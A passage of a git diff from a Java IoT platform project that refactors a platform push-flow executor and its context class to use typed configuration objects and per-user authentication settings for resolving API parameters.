惰性解析 */ + @TableField(exist = false) + @JsonIgnore + private transient JSONObject extraConfigParsed; + + public JSONObject getAuthConfigParsed() { + if (authConfigParsed == null && StringUtils.hasText(this.authConfig)) { + this.authConfigParsed = JSON.parseObject(this.authConfig); + } + return authConfigParsed; + } + + public void setAuthConfigParsed(JSONObject parsed) { + this.authConfigParsed = parsed; + this.authConfig = parsed == null ? null : parsed.toJSONString(); + } + + public JSONObject getExtraConfigParsed() { + if (extraConfigParsed == null && StringUtils.hasText(this.extraConfig)) { + this.extraConfigParsed = JSON.parseObject(this.extraConfig); + } + return extraConfigParsed; + } + + public void setExtraConfigParsed(JSONObject parsed) { + this.extraConfigParsed = parsed; + this.extraConfig = parsed == null ? null : parsed.toJSONString(); + } + + @ApiModelProperty("是否启用(0=禁用,1=启用)") + private String enable; + + @ApiModelProperty("备注") + private String remark; + + private String createBy; + + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + private Date createTime; + + private String updateBy; + + @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss") + private Date updateTime; +} \ No newline at end of file diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/FlowContext.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/FlowContext.java index 087a25a2..38ae8245 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/FlowContext.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/FlowContext.java @@ -1,9 +1,12 @@ package com.fastbee.iot.platform.flow; import com.fastbee.iot.platform.domain.PlatformDeviceMapping; +import com.fastbee.iot.platform.domain.PlatformDeviceSubMapping; import com.fastbee.iot.platform.domain.PlatformInstance; +import com.fastbee.iot.platform.domain.PlatformUserAuth; import java.util.HashMap; +import java.util.List; import java.util.Map; /** @@ -15,14 +18,24 @@ public class FlowContext { * 平台实体 */ private final PlatformInstance platform; + + /** + * 用户认证(用户级流程时使用) + */ + private final PlatformUserAuth platformUserAuth; + /** * 绑定推送关系 */ - private final PlatformDeviceMapping deviceMapping; + private PlatformDeviceMapping deviceMapping; + // 绑定推送子关系 + private List monitorSubMappings; + /** * 设备上报的原始 payload(实时推送时有值) */ - private final String payload; + private String payload; + /** * 步骤出参存储,key = step.resultKey,value = 解析后的 JSON Map */ @@ -57,20 +70,55 @@ public class FlowContext { */ private String referenceSubMappingOnboardConfig; - public FlowContext(PlatformInstance platform, PlatformDeviceMapping deviceMapping, String payload) { + public FlowContext(PlatformInstance platform, PlatformDeviceMapping deviceMapping, PlatformUserAuth platformUserAuth, String payload) { this.platform = platform; this.deviceMapping = deviceMapping; + this.platformUserAuth = platformUserAuth; this.payload = payload; } - public FlowContext(PlatformInstance platform) { - this(platform, null, null); + public FlowContext(PlatformInstance platform, PlatformDeviceMapping deviceMapping, PlatformUserAuth platformUserAuth) { + this.platform = platform; + this.deviceMapping = deviceMapping; + this.platformUserAuth = platformUserAuth; + } + + public FlowContext(PlatformInstance platform, PlatformUserAuth platformUserAuth) { + this.platform = platform; + this.platformUserAuth = platformUserAuth; + } + + public FlowContext(PlatformInstance platform, PlatformUserAuth platformUserAuth, PlatformDeviceMapping deviceMapping, List monitorSubMappings, + String currentMonitorSerialNumber, String currentMonitorDeviceName, Integer currentMonitorIndex, String subMappingOnboardConfig) { + this(platform, platformUserAuth, deviceMapping, monitorSubMappings, null, currentMonitorSerialNumber, currentMonitorDeviceName, currentMonitorIndex, subMappingOnboardConfig, null, null, null); + } + + public FlowContext(PlatformInstance platform, PlatformUserAuth platformUserAuth, PlatformDeviceMapping deviceMapping, + List monitorSubMappings, String payload, String currentMonitorSerialNumber, + String currentMonitorDeviceName, Integer currentMonitorIndex, String subMappingOnboardConfig, + String currentReferenceSerialNumber, String currentReferenceDeviceName, String referenceSubMappingOnboardConfig) { + this.platform = platform; + this.platformUserAuth = platformUserAuth; + this.deviceMapping = deviceMapping; + this.monitorSubMappings = monitorSubMappings; + this.payload = payload; + this.currentMonitorSerialNumber = currentMonitorSerialNumber; + this.currentMonitorDeviceName = currentMonitorDeviceName; + this.currentMonitorIndex = currentMonitorIndex; + this.subMappingOnboardConfig = subMappingOnboardConfig; + this.currentReferenceSerialNumber = currentReferenceSerialNumber; + this.currentReferenceDeviceName = currentReferenceDeviceName; + this.referenceSubMappingOnboardConfig = referenceSubMappingOnboardConfig; } public PlatformInstance getPlatform() { return platform; } + public PlatformUserAuth getPlatformUserAuth() { + return platformUserAuth; + } + public PlatformDeviceMapping getDeviceMapping() { return deviceMapping; } @@ -107,6 +155,14 @@ public class FlowContext { this.currentMonitorIndex = currentMonitorIndex; } + public List getMonitorSubMappings() { + return monitorSubMappings; + } + + public void setMonitorSubMappings(List monitorSubMappings) { + this.monitorSubMappings = monitorSubMappings; + } + public String getSubMappingOnboardConfig() { return subMappingOnboardConfig; } diff --git a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/PlatformFlowExecutor.java b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/PlatformFlowExecutor.java index ff17374d..291f28aa 100644 --- a/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/PlatformFlowExecutor.java +++ b/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/platform/flow/PlatformFlowExecutor.java @@ -13,14 +13,12 @@ import com.fastbee.iot.domain.Device; import com.fastbee.iot.mapper.DeviceMapper; import com.fastbee.iot.mapper.SubGatewayMapper; import com.fastbee.iot.platform.domain.*; -import com.fastbee.iot.platform.mapper.PlatformDeviceMappingMapper; -import com.fastbee.iot.platform.mapper.PlatformDeviceSubMappingMapper; -import com.fastbee.iot.platform.mapper.PlatformFlowStepMapper; -import com.fastbee.iot.platform.mapper.PlatformInstanceMapper; -import com.fastbee.iot.platform.mapper.PlatformInterfaceMapper; +import com.fastbee.iot.platform.mapper.*; +import com.fastbee.iot.platform.model.json.*; import com.fastbee.iot.platform.service.IPlatformPushLogService; import com.dtflys.forest.http.ForestRequestType; import lombok.extern.slf4j.Slf4j; +import org.apache.commons.collections4.CollectionUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import org.springframework.util.StringUtils; @@ -230,75 +228,103 @@ public class PlatformFlowExecutor { * 解析步骤入参 * source 枚举: fixed / auth / extra / context / device / thingsModel / ts */ - @SuppressWarnings("unchecked") private Map resolveParams(PlatformInterface iface, PlatformFlowStep step, FlowContext ctx) { Map result = new LinkedHashMap<>(); - if (!StringUtils.hasText(iface.getRequestSchema())) { + List schema = iface.getRequestSchemaParsed(); + if (schema == null || schema.isEmpty()) { return result; } // 合并接口默认 schema 和步骤覆盖 mapping - JSONArray schema = JSON.parseArray(iface.getRequestSchema()); - Map overrides = StringUtils.hasText(step.getParamMapping()) - ? JSON.parseObject(step.getParamMapping(), Map.class) - : Collections.emptyMap(); + Map overrides = step.getParamMappingParsed(); + if (overrides == null) { + overrides = Collections.emptyMap(); + } - JSONObject authConfig = StringUtils.hasText(ctx.getPlatform().getAuthConfig()) - ? JSON.parseObject(ctx.getPlatform().getAuthConfig()) : new JSONObject(); - JSONObject extraConfig = StringUtils.hasText(ctx.getPlatform().getExtraConfig()) - ? JSON.parseObject(ctx.getPlatform().getExtraConfig()) : new JSONObject(); + // 获取 userAuth authConfig + JSONObject authConfig = new JSONObject(); + if (ctx.getPlatformUserAuth() != null) { + JSONObject parsed = ctx.getPlatformUserAuth().getAuthConfigParsed(); + if (parsed != null) { + authConfig = parsed; + } + } - for (int i = 0; i < schema.size(); i++) { - JSONObject field = schema.getJSONObject(i); - String name = field.getString("name"); + // 获取 userAuth extraConfig + JSONObject extraConfig = new JSONObject(); + if (ctx.getPlatformUserAuth() != null) { + JSONObject parsed = ctx.getPlatformUserAuth().getExtraConfigParsed(); + if (parsed != null) { + extraConfig = parsed; + } + } + + for (RequestSchemaField field : schema) { + String name = field.getName(); + if (name == null) continue; // 步骤覆盖优先 if (overrides.containsKey(name)) { - Object override = overrides.get(name); - if (override instanceof Map) { - Map ov = (Map) override; - String src = (String) ov.get("source"); - String type = ov.get("type") != null ? String.valueOf(ov.get("type")) : field.getString("type"); - result.put(name, normalizeValueByType(type, resolveValue(src, ov, authConfig, extraConfig, ctx))); + ParamOverrideConfig override = overrides.get(name); + if (override != null) { + String src = override.getSource() != null ? override.getSource() : field.getSource(); + String type = override.getType() != null ? override.getType() : field.getType(); + result.put(name, normalizeValueByType(type, + resolveValue(src, mergeOverride(field, override), authConfig, extraConfig, ctx))); } else { - result.put(name, normalizeValueByType(field.getString("type"), override)); + result.put(name, normalizeValueByType(field.getType(), null)); } continue; } - String source = field.getString("source"); - result.put(name, normalizeValueByType(field.getString("type"), resolveValue(source, field, authConfig, extraConfig, ctx))); + result.put(name, normalizeValueByType(field.getType(), + resolveValue(field.getSource(), field, authConfig, extraConfig, ctx))); } return result; } - private Object resolveValue(String source, Object fieldDef, JSONObject authConfig, + private RequestSchemaField mergeOverride(RequestSchemaField schemaField, ParamOverrideConfig override) { + if (override == null) return schemaField; + RequestSchemaField merged = new RequestSchemaField(); + merged.setName(schemaField.getName()); + merged.setSource(override.getSource() != null ? override.getSource() : schemaField.getSource()); + merged.setType(override.getType() != null ? override.getType() : schemaField.getType()); + merged.setValue(override.getValue() != null ? override.getValue() : schemaField.getValue()); + merged.setField(override.getField() != null ? override.getField() : schemaField.getField()); + merged.setContextKey(override.getContextKey() != null ? override.getContextKey() : schemaField.getContextKey()); + merged.setIdentifier(override.getIdentifier() != null ? override.getIdentifier() : schemaField.getIdentifier()); + return merged; + } + + private Object resolveValue(String source, RequestSchemaField fieldDef, JSONObject authConfig, JSONObject extraConfig, FlowContext ctx) { if (source == null) return null; - JSONObject fd = fieldDef instanceof JSONObject ? (JSONObject) fieldDef - : JSON.parseObject(JSON.toJSONString(fieldDef)); switch (source) { case "fixed": - return fd.get("value"); + return fieldDef.getValue(); case "uuid": return newGeneratedId(); case "auth": - return authConfig.get(fd.getString("field")); + return authConfig.get(fieldDef.getField()); case "extra": - return extraConfig.get(fd.getString("field")); + return extraConfig.get(fieldDef.getField()); case "context": - return ctx.getFromContext(fd.getString("contextKey")); + return ctx.getFromContext(fieldDef.getContextKey()); case "device": if (ctx.getDeviceMapping() == null) return null; - String df = fd.getString("field"); + String df = fieldDef.getField(); if ("platform_device_id".equals(df)) return ctx.getDeviceMapping().getPlatformDeviceId(); if ("platform_point_id".equals(df)) return ctx.getDeviceMapping().getPlatformPointId(); + // 支持从设备绑定表读取项目信息 + if ("platform_project_id".equals(df)) { + return ctx.getDeviceMapping().getPlatformProjectId(); + } if ("serial_number".equals(df)) { // 网关入网时优先使用当前监测点序列号(每个 point/device 以监测点命名) if (StringUtils.hasText(ctx.getCurrentMonitorSerialNumber())) { return ctx.getCurrentMonitorSerialNumber(); } - return normalizeValueByType(fd.getString("type"), resolveGatewaySerialNumber(ctx.getDeviceMapping())); + return normalizeValueByType(fieldDef.getType(), resolveGatewaySerialNumber(ctx.getDeviceMapping())); } if ("device_name".equals(df)) { return resolveDeviceName(ctx); @@ -311,17 +337,17 @@ public class PlatformFlowExecutor { } return null; case "thingsModel": - return resolveThingsModelValue(ctx, fd); + return resolveThingsModelValue(ctx, fieldDef); case "ts": - return resolveThingsModelTs(ctx, fd); + return resolveThingsModelTs(ctx, fieldDef); case "onboard_config": - return resolveOnboardConfigValue(ctx, fd); + return resolveOnboardConfigValue(ctx, fieldDef); case "subDeviceSensorIds": return collectSubDeviceSensorIds(ctx); case "cascadedSubDeviceSensorIds": return collectCascadedSubDeviceSensorIds(ctx); case "cascadedSubDeviceDepths": - return collectCascadedSubDeviceDepths(ctx, fd); + return collectCascadedSubDeviceDepths(ctx); case "referenceSubDeviceSensorIdPairs": return collectReferenceSubDeviceSensorIdPairs(ctx); default: @@ -329,7 +355,7 @@ public class PlatformFlowExecutor { } } - private Object resolveThingsModelValue(FlowContext ctx, JSONObject fieldDef) { + private Object resolveThingsModelValue(FlowContext ctx, RequestSchemaField fieldDef) { JSONObject payload = parsePayloadToObject(ctx.getPayload()); if (payload == null) { return null; @@ -338,7 +364,7 @@ public class PlatformFlowExecutor { return StringUtils.hasText(identifier) ? payload.get(identifier) : null; } - private Object resolveThingsModelTs(FlowContext ctx, JSONObject fieldDef) { + private Object resolveThingsModelTs(FlowContext ctx, RequestSchemaField fieldDef) { JSONObject payload = parsePayloadToObject(ctx.getPayload()); if (payload == null) { return null; @@ -354,13 +380,13 @@ public class PlatformFlowExecutor { return ts != null ? ts : payload.get("timestamp"); } - private String resolveThingsModelIdentifier(JSONObject fieldDef) { - String identifier = fieldDef.getString("identifier"); + private String resolveThingsModelIdentifier(RequestSchemaField fieldDef) { + String identifier = fieldDef.getIdentifier(); if (StringUtils.hasText(identifier)) { return identifier; } - String field = fieldDef.getString("field"); - return StringUtils.hasText(field) ? field : fieldDef.getString("contextKey"); + String field = fieldDef.getField(); + return StringUtils.hasText(field) ? field : fieldDef.getContextKey(); } private JSONObject parsePayloadToObject(String payload) { @@ -401,22 +427,24 @@ public class PlatformFlowExecutor { return null; } - private Object resolveOnboardConfigValue(FlowContext ctx, JSONObject fieldDef) { - String name = fieldDef.getString("name"); - if (!fieldDef.containsKey("value")) { - throw new RuntimeException("入网参数 " + name + " 未配置值"); - } - Object value = fieldDef.get("value"); - if (value instanceof JSONArray && ctx.getCurrentMonitorIndex() != null) { - JSONArray values = (JSONArray) value; + private Object resolveOnboardConfigValue(FlowContext ctx, RequestSchemaField fieldDef) { + String name = fieldDef.getName(); + List monitorSubMappings = ctx.getMonitorSubMappings(); + if (ctx.getCurrentMonitorIndex() != null && CollectionUtils.isNotEmpty(monitorSubMappings)) { int index = ctx.getCurrentMonitorIndex(); - if (index >= values.size()) { - throw new RuntimeException("入网参数 " + name + " 数组长度不足,当前子设备序号=" - + (index + 1) + ",数组长度=" + values.size()); + PlatformDeviceSubMapping platformDeviceSubMapping = monitorSubMappings.get(index); + OnboardConfig config = platformDeviceSubMapping.getOnboardConfigParsed(); + if (config == null) { + throw new RuntimeException("入网失败,子设备" + platformDeviceSubMapping.getSubDeviceName() + "未配置值:" + name); } - return values.get(index); + // 从 OnboardConfig 按字段名反射获取值(支持 sensorId/sensorDepth/refSerialNumber/refSensorId) + String value = resolveOnboardConfigField(config, name); + if (value == null) { + throw new RuntimeException("入网失败,子设备" + platformDeviceSubMapping.getSubDeviceName() + "未配置值:" + name); + } + return value; } - return value; + throw new RuntimeException("入网失败," + name + "未配置值"); } private String newGeneratedId() { @@ -489,21 +517,24 @@ public class PlatformFlowExecutor { private Set resolveGeneratedFieldNames(PlatformInterface iface, PlatformFlowStep step) { LinkedHashMap sources = new LinkedHashMap<>(); try { - if (iface != null && StringUtils.hasText(iface.getRequestSchema())) { - JSONArray schema = JSON.parseArray(iface.getRequestSchema()); - for (int i = 0; i < schema.size(); i++) { - JSONObject field = schema.getJSONObject(i); - if (field != null && StringUtils.hasText(field.getString("name"))) { - sources.put(field.getString("name"), field.getString("source")); + if (iface != null) { + List schema = iface.getRequestSchemaParsed(); + if (schema != null) { + for (RequestSchemaField field : schema) { + if (field != null && StringUtils.hasText(field.getName())) { + sources.put(field.getName(), field.getSource()); + } } } } - if (step != null && StringUtils.hasText(step.getParamMapping())) { - JSONObject overrides = JSON.parseObject(step.getParamMapping()); - for (String fieldName : overrides.keySet()) { - JSONObject override = overrides.getJSONObject(fieldName); - if (override != null && StringUtils.hasText(override.getString("source"))) { - sources.put(fieldName, override.getString("source")); + if (step != null) { + Map overrides = step.getParamMappingParsed(); + if (overrides != null) { + for (Map.Entry entry : overrides.entrySet()) { + ParamOverrideConfig override = entry.getValue(); + if (override != null && StringUtils.hasText(override.getSource())) { + sources.put(entry.getKey(), override.getSource()); + } } } } @@ -520,10 +551,8 @@ public class PlatformFlowExecutor { private List collectSubDeviceSensorIds(FlowContext ctx) { if (StringUtils.hasText(ctx.getCurrentMonitorSerialNumber()) && StringUtils.hasText(ctx.getCurrentReferenceSerialNumber())) { - String refSensorId = resolveOnboardSensorId( - ctx.getReferenceSubMappingOnboardConfig(), ctx.getCurrentReferenceSerialNumber()); - String monitorSensorId = resolveOnboardSensorId( - ctx.getSubMappingOnboardConfig(), ctx.getCurrentMonitorSerialNumber()); + String refSensorId = resolveOnboardSensorIdByCtx(ctx, true); + String monitorSensorId = resolveOnboardSensorIdByCtx(ctx, false); List ids = new ArrayList<>(); if (StringUtils.hasText(refSensorId)) ids.add(refSensorId); if (StringUtils.hasText(monitorSensorId)) ids.add(monitorSensorId); @@ -533,16 +562,14 @@ public class PlatformFlowExecutor { } // 网关入网时,从子表 onboard_config 获取 sensorId - if (StringUtils.hasText(ctx.getSubMappingOnboardConfig())) { - try { - JSONObject config = JSON.parseObject(ctx.getSubMappingOnboardConfig()); - List ids = new ArrayList<>(); - String sensorId = config.getString("sensorId"); - String refSensorId = config.getString("refSensorId"); - if (StringUtils.hasText(refSensorId)) ids.add(refSensorId); - if (StringUtils.hasText(sensorId)) ids.add(sensorId); - if (!ids.isEmpty()) return ids; - } catch (Exception ignored) {} + OnboardConfig currentConfig = resolveCurrentOnboardConfig(ctx); + if (currentConfig != null) { + List ids = new ArrayList<>(); + String sensorId = currentConfig.getSensorId(); + String refSensorId = currentConfig.getRefSensorId(); + if (StringUtils.hasText(refSensorId)) ids.add(refSensorId); + if (StringUtils.hasText(sensorId)) ids.add(sensorId); + if (!ids.isEmpty()) return ids; } // 回退到从 extra_mapping 解析(直连设备等场景) return collectSubDeviceSensorBindings(ctx.getDeviceMapping()).stream() @@ -555,21 +582,32 @@ public class PlatformFlowExecutor { private List collectCascadedSubDeviceSensorIds(FlowContext ctx) { List suffix = collectCascadedSubDeviceSuffix(ctx); Collections.reverse(suffix); - return suffix.stream() - .map(sub -> resolveOnboardSensorId(sub.getOnboardConfig(), sub.getSubSerialNumber())) - .filter(StringUtils::hasText) + List sensorIds = suffix.stream() + .map(sub -> { + OnboardConfig cfg = sub.getOnboardConfigParsed(); + if (cfg != null && StringUtils.hasText(cfg.getSensorId())) { + return cfg.getSensorId(); + } + return normalizeText(sub.getSubSerialNumber()); + }) .collect(Collectors.toList()); + if (sensorIds.stream().anyMatch(id -> !StringUtils.hasText(id))) { + throw new RuntimeException("深部位移子设备缺少 sensorId"); + } + return sensorIds; } - private List collectCascadedSubDeviceDepths(FlowContext ctx, JSONObject fieldDef) { + private List collectCascadedSubDeviceDepths(FlowContext ctx) { List monitors = collectCascadedSubDeviceMonitors(ctx); int currentIndex = resolveCurrentMonitorIndex(ctx, monitors); - List allDepths = resolveConfiguredDepths(fieldDef); - if (allDepths.size() < monitors.size()) { - throw new RuntimeException("串联子设备深度数组配置数量不足,监测点数量=" - + monitors.size() + ",深度数量=" + allDepths.size()); + List suffix = new ArrayList<>(); + for (PlatformDeviceSubMapping monitor : monitors.subList(currentIndex, monitors.size())) { + Object depth = readSensorDepth(monitor); + if (depth == null) { + throw new RuntimeException("深部位移子设备 " + monitor.getSubSerialNumber() + " 缺少传感器深度"); + } + suffix.add(depth); } - List suffix = new ArrayList<>(allDepths.subList(currentIndex, monitors.size())); Collections.reverse(suffix); return suffix; } @@ -588,10 +626,13 @@ public class PlatformFlowExecutor { if (mapping.getId() == null) { throw new RuntimeException("串联子设备入网缺少映射ID"); } - List subMappings = subMappingMapper.selectByParentId(mapping.getId()); - List monitors = subMappings == null ? Collections.emptyList() : subMappings.stream() - .filter(PlatformDeviceSubMapping::isMonitor) - .collect(Collectors.toList()); + List monitors = ctx.getMonitorSubMappings(); + if (monitors == null) { + List subMappings = subMappingMapper.selectByParentId(mapping.getId()); + monitors = subMappings == null ? Collections.emptyList() : subMappings.stream() + .filter(PlatformDeviceSubMapping::isMonitor) + .collect(Collectors.toList()); + } if (monitors.isEmpty()) { throw new RuntimeException("串联子设备入网未配置监测点子设备"); } @@ -614,23 +655,15 @@ public class PlatformFlowExecutor { throw new RuntimeException("串联子设备入网无法确定当前监测点序号"); } - private List resolveConfiguredDepths(JSONObject fieldDef) { - if (!fieldDef.containsKey("value")) { - throw new RuntimeException("串联子设备未配置深度数组"); + private Object readSensorDepth(PlatformDeviceSubMapping mapping) { + if (mapping == null) { + return null; } - Object value = fieldDef.get("value"); - List list = toList(value); - if (list == null && value instanceof String) { - try { - list = JSON.parseArray(((String) value).trim()); - } catch (Exception ignored) { - list = null; - } + OnboardConfig config = mapping.getOnboardConfigParsed(); + if (config == null) { + return null; } - if (list == null || list.isEmpty()) { - throw new RuntimeException("串联子设备深度数组为空"); - } - return new ArrayList<>(list); + return config.getSensorDepth(); } /** @@ -639,12 +672,13 @@ public class PlatformFlowExecutor { */ private List> collectReferenceSubDeviceSensorIdPairs(FlowContext ctx) { if (StringUtils.hasText(ctx.getCurrentMonitorSerialNumber())) { - String sensorId = resolveOnboardSensorId( - ctx.getSubMappingOnboardConfig(), ctx.getCurrentMonitorSerialNumber()); - String refSensorId = resolveOnboardSensorId( - ctx.getReferenceSubMappingOnboardConfig(), ctx.getCurrentReferenceSerialNumber()); + String sensorId = resolveOnboardSensorIdByCtx(ctx, false); + String refSensorId = resolveOnboardSensorIdByCtx(ctx, true); if (!StringUtils.hasText(refSensorId)) { - refSensorId = resolveOnboardConfigText(ctx.getSubMappingOnboardConfig(), "refSensorId"); + OnboardConfig currentConfig = resolveCurrentOnboardConfig(ctx); + if (currentConfig != null) { + refSensorId = currentConfig.getRefSensorId(); + } } if (StringUtils.hasText(sensorId) && StringUtils.hasText(refSensorId)) { if (sameText(refSensorId, sensorId)) { @@ -661,17 +695,15 @@ public class PlatformFlowExecutor { } // 网关入网:onboardConfig 已指定当前监测点 - if (StringUtils.hasText(ctx.getSubMappingOnboardConfig())) { - try { - JSONObject config = JSON.parseObject(ctx.getSubMappingOnboardConfig()); - String sensorId = config.getString("sensorId"); - String refSensorId = config.getString("refSensorId"); - if (StringUtils.hasText(sensorId) && StringUtils.hasText(refSensorId)) { - List> pairs = new ArrayList<>(); - pairs.add(Arrays.asList(refSensorId, sensorId)); - return pairs; - } - } catch (Exception ignored) {} + OnboardConfig currentConfig = resolveCurrentOnboardConfig(ctx); + if (currentConfig != null) { + String sensorId = currentConfig.getSensorId(); + String refSensorId = currentConfig.getRefSensorId(); + if (StringUtils.hasText(sensorId) && StringUtils.hasText(refSensorId)) { + List> pairs = new ArrayList<>(); + pairs.add(Arrays.asList(refSensorId, sensorId)); + return pairs; + } } // 回退:从 extra_mapping 解析(兼容直连设备场景) PlatformDeviceMapping mapping = ctx.getDeviceMapping(); @@ -700,20 +732,52 @@ public class PlatformFlowExecutor { return pairs; } - private String resolveOnboardSensorId(String onboardConfig, String fallbackSerialNumber) { - String sensorId = resolveOnboardConfigText(onboardConfig, "sensorId"); - return StringUtils.hasText(sensorId) ? sensorId : normalizeText(fallbackSerialNumber); + /** 获取当前监测点子设备的 OnboardConfig POJO */ + private OnboardConfig resolveCurrentOnboardConfig(FlowContext ctx) { + if (ctx.getCurrentMonitorIndex() != null && CollectionUtils.isNotEmpty(ctx.getMonitorSubMappings())) { + int index = ctx.getCurrentMonitorIndex(); + return ctx.getMonitorSubMappings().get(index).getOnboardConfigParsed(); + } + if (StringUtils.hasText(ctx.getSubMappingOnboardConfig())) { + return JSON.parseObject(ctx.getSubMappingOnboardConfig(), OnboardConfig.class); + } + return null; } - private String resolveOnboardConfigText(String onboardConfig, String field) { - if (!StringUtils.hasText(onboardConfig) || !StringUtils.hasText(field)) { - return null; + /** + * 解析 sensorId:优先从子映射 OnboardConfig 获取,否则返回序列号 + * @param ctx 上下文 + * @param isReference true=基准点, false=监测点 + */ + private String resolveOnboardSensorIdByCtx(FlowContext ctx, boolean isReference) { + String configStr = isReference ? ctx.getReferenceSubMappingOnboardConfig() : ctx.getSubMappingOnboardConfig(); + String fallbackSn = isReference ? ctx.getCurrentReferenceSerialNumber() : ctx.getCurrentMonitorSerialNumber(); + + if (StringUtils.hasText(configStr)) { + OnboardConfig config = JSON.parseObject(configStr, OnboardConfig.class); + if (config != null && StringUtils.hasText(config.getSensorId())) { + return config.getSensorId(); + } + } else if (!isReference && ctx.getCurrentMonitorIndex() != null + && CollectionUtils.isNotEmpty(ctx.getMonitorSubMappings())) { + int index = ctx.getCurrentMonitorIndex(); + OnboardConfig config = ctx.getMonitorSubMappings().get(index).getOnboardConfigParsed(); + if (config != null && StringUtils.hasText(config.getSensorId())) { + return config.getSensorId(); + } } - try { - JSONObject config = JSON.parseObject(onboardConfig); - return normalizeText(config.getString(field)); - } catch (Exception ignored) { - return null; + return normalizeText(fallbackSn); + } + + /** 从 OnboardConfig POJO 按字段名取值 */ + private String resolveOnboardConfigField(OnboardConfig config, String field) { + if (config == null || !StringUtils.hasText(field)) return null; + switch (field) { + case "sensorId": return config.getSensorId(); + case "sensorDepth": return config.getSensorDepth(); + case "refSerialNumber": return config.getRefSerialNumber(); + case "refSensorId": return config.getRefSensorId(); + default: return null; } } @@ -740,28 +804,35 @@ public class PlatformFlowExecutor { private String appendConfiguredSubDeviceBindings(LinkedHashMap bindings, PlatformDeviceMapping mapping) { - if (!StringUtils.hasText(mapping.getExtraMapping())) { + ExtraMappingConfig extra = mapping.getExtraMappingParsed(); + if (extra == null) { return null; } try { - JSONObject extra = JSON.parseObject(mapping.getExtraMapping()); String referenceSerialNumber = null; - JSONArray arrayFields = extra.getJSONArray("arrayFields"); + List arrayFields = extra.getArrayFields(); if (arrayFields != null) { - for (int i = 0; i < arrayFields.size(); i++) { - JSONObject arrayField = arrayFields.getJSONObject(i); + for (ExtraMappingConfig.ArrayFieldConfig arrayField : arrayFields) { referenceSerialNumber = appendConfiguredMappingRows(bindings, - arrayField == null ? null : arrayField.getJSONArray("subDeviceMappings"), + arrayField == null ? null : arrayField.getSubDeviceMappings(), referenceSerialNumber); } } - JSONObject staticLevel = extra.getJSONObject("staticLevel"); + ExtraMappingConfig.StaticLevelConfig staticLevel = extra.getStaticLevel(); if (staticLevel != null) { - referenceSerialNumber = normalizeText(staticLevel.getString("referenceSerialNumber")); - referenceSerialNumber = appendConfiguredMappingRows( - bindings, staticLevel.getJSONArray("sensorIdMappings"), referenceSerialNumber); + referenceSerialNumber = normalizeText(staticLevel.getReferenceSerialNumber()); + List sensorIdMappings = staticLevel.getSensorIdMappings(); + if (sensorIdMappings != null) { + for (ExtraMappingConfig.SensorIdMapping item : sensorIdMappings) { + if (item == null) continue; + String sn = normalizeText(item.getSerialNumber()); + if (!StringUtils.hasText(sn)) continue; + String sid = normalizeText(item.getSensorId()); + upsertSubDeviceBinding(bindings, sn, StringUtils.hasText(sid) ? sid : sn); + } + } } return referenceSerialNumber; } catch (Exception e) { @@ -772,24 +843,20 @@ public class PlatformFlowExecutor { } private String appendConfiguredMappingRows(LinkedHashMap bindings, - JSONArray mappings, String referenceSerialNumber) { + List mappings, + String referenceSerialNumber) { if (mappings == null || mappings.isEmpty()) { return referenceSerialNumber; } String ref = referenceSerialNumber; - for (int i = 0; i < mappings.size(); i++) { - JSONObject item = mappings.getJSONObject(i); - if (item == null) { - continue; - } - String serialNumber = normalizeText(item.getString("serialNumber")); - if (!StringUtils.hasText(serialNumber)) { - continue; - } - String sensorId = normalizeText(item.getString("sensorId")); + for (ExtraMappingConfig.SubDeviceMapping item : mappings) { + if (item == null) continue; + String serialNumber = normalizeText(item.getSerialNumber()); + if (!StringUtils.hasText(serialNumber)) continue; + String sensorId = normalizeText(item.getSensorId()); upsertSubDeviceBinding(bindings, serialNumber, StringUtils.hasText(sensorId) ? sensorId : serialNumber); - if (Boolean.TRUE.equals(item.getBoolean("isReference"))) { + if (Boolean.TRUE.equals(item.getIsReference())) { ref = serialNumber; } } @@ -914,13 +981,7 @@ public class PlatformFlowExecutor { /** 移除已替换到路径中的变量,避免重复放入 body */ private void removePathVars(Map params, String path) { - Iterator> it = params.entrySet().iterator(); - while (it.hasNext()) { - Map.Entry e = it.next(); - if (path.contains("{" + e.getKey() + "}")) { - it.remove(); - } - } + params.entrySet().removeIf(e -> path.contains("{" + e.getKey() + "}")); } private Object buildResponseData(PlatformInterface iface, String responseBody) { @@ -962,19 +1023,18 @@ public class PlatformFlowExecutor { private JSONObject extractResponseBySchema(PlatformInterface iface, Object parsedResponse) { JSONObject extracted = new JSONObject(); - if (iface == null || !StringUtils.hasText(iface.getResponseSchema()) || parsedResponse == null) { + List schema = iface.getResponseSchemaParsed(); + if (schema == null || schema.isEmpty() || parsedResponse == null) { return extracted; } try { - JSONArray schema = JSON.parseArray(iface.getResponseSchema()); - for (int i = 0; i < schema.size(); i++) { - JSONObject field = schema.getJSONObject(i); - if (field == null || !StringUtils.hasText(field.getString("name"))) { + for (ResponseSchemaField field : schema) { + if (field == null || !StringUtils.hasText(field.getName())) { continue; } - Object value = readPathValue(parsedResponse, field.getString("path")); + Object value = readPathValue(parsedResponse, field.getPath()); if (value != null) { - extracted.put(field.getString("name"), value); + extracted.put(field.getName(), value); } } } catch (Exception e) { @@ -1082,84 +1142,99 @@ public class PlatformFlowExecutor { return value; } - /** 将 result_save 中指定字段持久化到 platform_instance.extra_config 或 platform_device_mapping */ + /** + * 将 result_save 中指定字段持久化到 platform_user_auth 或 platform_device_mapping + * @param step 流程步骤,第几步 + * @param responseData 请求平台接口返回值 + * @param context 容器上下文 + */ private void persistResultSave(PlatformFlowStep step, Object responseData, FlowContext context) { try { - JSONArray saves = JSON.parseArray(step.getResultSave()); + List saves = step.getResultSaveParsed(); + if (saves == null || saves.isEmpty()) return; JSONObject response = toJsonObject(responseData); if (response == null) return; - PlatformInstance platform = context.getPlatform(); - JSONObject extra = StringUtils.hasText(platform.getExtraConfig()) - ? 